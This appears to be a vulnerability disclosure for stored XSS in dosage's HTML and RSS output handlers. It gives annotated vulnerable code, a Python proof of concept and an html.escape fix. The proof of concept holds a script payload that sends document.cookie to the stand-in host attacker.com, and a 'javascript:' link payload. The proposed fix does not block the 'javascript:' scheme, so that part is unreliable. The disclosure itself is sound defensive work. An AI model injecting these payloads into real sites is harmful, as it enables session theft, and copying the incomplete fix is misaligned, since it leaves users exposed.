# events.py:116-118
if comic.text:
    description += '<br/>%s' % comic.text        # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl  # ← Unescaped URL

# events.py:232
self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl))  # ← Unescaped URL

# events.py:238
if text:
    self.html.write(u'<br/>%s\n' % text)  # ← Unescaped text

#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""

import sys
from pathlib import Path
from types import SimpleNamespace

from dosagelib.events import HtmlEventHandler, RSSEventHandler

# XSS payloads simulating malicious webcomic content
MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS_URL = "javascript:alert('XSS-via-URL')"

def check_vulnerability(content: str, marker: str, description: str) -> bool:
    """Check if unescaped marker appears in content."""
    if marker.lower() in content.lower():
        print(f"  [VULNERABLE] {description}")
        print(f"               Found unescaped: {marker}")
        return True
    print(f"  [SAFE] {description}")
    return False

def main():
    print("=" * 70)
    print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
    print("=" * 70)
    print()

    base = Path(__file__).parent / "output"
    base.mkdir(parents=True, exist_ok=True)

    # Create dummy image file
    img_path = base / "payload.png"
    img_path.write_bytes(b"\x89PNG\r\n\x1a\n")

    # Simulate comic with malicious content
    comic = SimpleNamespace(
        scraper=SimpleNamespace(name="MaliciousComic"),
        referrer=MALICIOUS_URL,
        text=MALICIOUS_TEXT,
        url="http://example.com/comic.png"
    )

    vulnerabilities_found = 0

    # Test RSS Handler
    print("[*] Testing RSSEventHandler...")
    rss_handler = RSSEventHandler(str(base), None, False)
    rss_handler.start()
    rss_handler.comicDownloaded(comic, str(img_path))
    rss_handler.end()
    
    rss_path = Path(rss_handler.rssfn)
    rss_content = rss_path.read_text(encoding="utf-8")
    print(f"    Output file: {rss_path}")
    
    if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"):
        vulnerabilities_found += 1

    # Test HTML Handler  
    print()
    print("[*] Testing HtmlEventHandler...")
    html_handler = HtmlEventHandler(str(base), None, False)
    html_handler.start()
    html_path = Path(html_handler.html.name)
    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)
    html_handler.end()

    html_content = html_path.read_text(encoding="utf-8")
    print(f"    Output file: {html_path}")
    
    if check_vulnerability(html_content, "<script>", "text param in HTML"):
        vulnerabilities_found += 1
    if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"):
        vulnerabilities_found += 1

    # Show vulnerable content
    print()
    print("-" * 70)
    print("Vulnerable Content in Generated HTML:")
    print("-" * 70)
    for line in html_content.splitlines():
        if "<script>" in line.lower() or "javascript:" in line.lower():
            print(f"  {line}")

    print()
    print("=" * 70)
    print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!")
    print("=" * 70)
    
    return 0 if vulnerabilities_found > 0 else 1

if __name__ == "__main__":
    sys.exit(main())

import html

# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
    description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)

# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl)))

# events.py around line 238:
if text:
    self.html.write(u'<br/>%s\n' % html.escape(text))